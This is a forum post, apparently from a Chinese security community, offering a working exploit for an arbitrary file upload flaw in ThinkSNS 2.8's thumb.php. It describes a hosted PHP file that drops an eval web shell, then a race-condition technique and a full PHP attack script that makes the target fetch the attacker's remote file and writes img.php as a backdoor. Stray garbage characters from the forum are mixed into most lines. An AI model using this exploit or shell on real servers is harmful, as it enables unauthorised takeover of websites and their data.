找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2276|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
% o, t# X5 T2 j: ^0 f: a存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)+ R& x: k1 s$ N$ b/ h$ n5 D% }
漏洞文件
2 i3 c: P, g* ?+ c$ U* K" Z0 s存在漏洞的文件为:thumb.php& H; M7 g; ^' H' i0 v  m
作者:韦鲲鹏" x  a5 R* n4 q( p' m
1、        准备如下PHP文件并上传到服务器(自己的)。
0 I! I. o4 T" ~, S# f  r文件内容如下:
% B& h( p% M$ ?7 t6 C: w; u6 D<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
4 ^# o$ F" @4 D4 `: W  P: K2、        计算出临时的文件名:) o% Q' J* m9 {% B5 M7 o9 O  y
这里我们可以看文件的99行(刚刚是不是没注意呀!)。$ ]6 x7 d1 ]! z5 t' m# H
7 e, O( n( Z5 V' h' e6 M
3、        上传临时文件。$ e& w; J, r! J. ^) ~
4、        访问临时文件。
' k1 E' N2 I& g; Q但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
; h! o; i/ R& T+ ?8 y3 E7 ~Exploit文件内容如下:(这个我就不详细解释了)7 x2 @* c0 W- C; M, M
<?php
4 s& q' N( {$ m, ?! J9 i2 herror_reporting(0);
& x% C; |3 p2 {5 O6 Hset_time_limit(0);5 W- @* H+ T5 c( a- j- y0 p: @, Z" U; Q7 P' S
ini_set(“default_socket_timeout”, 5);
* w! B& N! X, }- xfunction http_send($host, $port, $headers) {! g# h! {! j7 T3 F
$fp = fsockopen($host, $port);4 ~( `% k5 a6 w% d; c/ v" ?
if (!$fp) die(‘Connection -> fail’);! i0 U0 d. Z7 E2 X& ?" z
fputs($fp, $headers);
& a5 N' G# a' W: Wreturn $fp;
5 t* g2 b2 n( q, x) j/ l9 w}* z7 S- w" ~% s) P
function http_recv($fp) {
& z' y9 D( b0 J- p+ z$ret=”";5 x8 L3 D& L5 H, J3 q& N1 _
while (!feof($fp))
0 ?3 I2 R8 {; R! O1 n8 I' i$ret.= fgets($fp, 1024);
! Q' _/ ^0 s) }- }4 \7 p0 bfclose($fp);
) z* E( l8 g, \* l9 |/ n" Qreturn $ret;
: ]# K" z0 u+ g0 y! @4 t$ D9 e0 [- n}
9 H- o) h  d) q5 s; `/ gprint “\n#  ThinkSns Arbitrary File Upload   #\n”;  x- ~; Y% T* m) D8 j# A5 X
print “# Discovered by 韦鲲鹏 #\n\n”;
. g' W; o$ _- m5 @5 d- L5 x' qif ($argc < 4) {, U' d/ z$ C8 u( f
print “Usage:   php <host> <path> <romote_url>\n”;$ |( j; u% e  Q3 e: y5 h
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 }; M6 ]. l* F1 N  mdie();
9 ]7 z9 l$ s2 s' i5 X% T}
1 [7 c+ I8 s8 Q* S8 i$ S0 p% L$host = $argv[1];
4 o: \4 O2 X0 w$path = $argv[2];+ Z, z9 M# c. W/ F) ^$ U; L! c( m' f4 a
$url = $argv[3];
2 E! c' m1 F! o% G8 k$i=0;
$ I( x/ P7 H# T" u7 g//上传数据包8 {% n  a3 q) l/ ]/ ~0 S
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;( D3 a: I; R  Q$ h8 }
$headers_up .= “Host: “.$host.”\r\n”;  N5 g$ D5 G& [# ]
$headers_up .= “Connection: close\r\n\r\n”;
7 f% G2 b1 [* v) j& Recho $headers_up;- @( o! w" p% z1 Z% C$ y% F/ v
//临时文件访问数据包
$ s; Q, g$ _% s+ L1 c5 ]6 p$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
5 w" [! @' m, y5 L$headers .= “Host: “.$host.”\r\n”;4 J( m/ b1 R1 `9 [; D4 D* ~
$headers .= “Connection: close\r\n\r\n”;$ J8 G7 h# l; Q3 \
echo $headers;
0 A5 r1 i) W* d0 d0 g, ^while(++$i<10) {2 I, }4 }( T& \: g% o) c( x' g% J
fclose(http_send($host, 80, $headers));7 P" Q3 S+ {! J5 C# q3 c
}
% l) |5 f1 h8 o" Dfclose(http_send($host, 80, $headers_up));$ b9 x/ w4 U  Q. @( f
while(++$i<50) {
" ~  |3 J$ W# c  w0 p- @/ h6 a' nfclose(http_send($host, 80, $headers));  E0 `& C9 g, E/ z! |8 }+ T
}
7 L, x% ~; r) K; x% `9 l) L$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;5 ]& g) M$ m. e& W3 _8 @/ \2 V
$headers .= “Host: “.$host.”\r\n”;0 o( |5 x, g& x. k
$headers .= “Connection: close\r\n\r\n”;
& R7 h/ i2 t4 o+ q/ A$res=http_recv(http_send($host, 80, $headers));; I' n7 L6 z2 h- G; c8 k4 W7 v
if(preg_match(‘/200 OK/’,$res)) {2 \, B* Y3 I& i
print “Success!\n\n”;
9 e* r' s5 }4 E' S2 m. r1 u} else {
, L) t, ~! {, I6 S& c* Bprint “Fail!\n\n”;* ], c* W/ n8 Q# A6 y" q1 w
}
8 Y' [, J; m4 l# g- t?>$ U2 _- z: W' I6 d/ H
​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表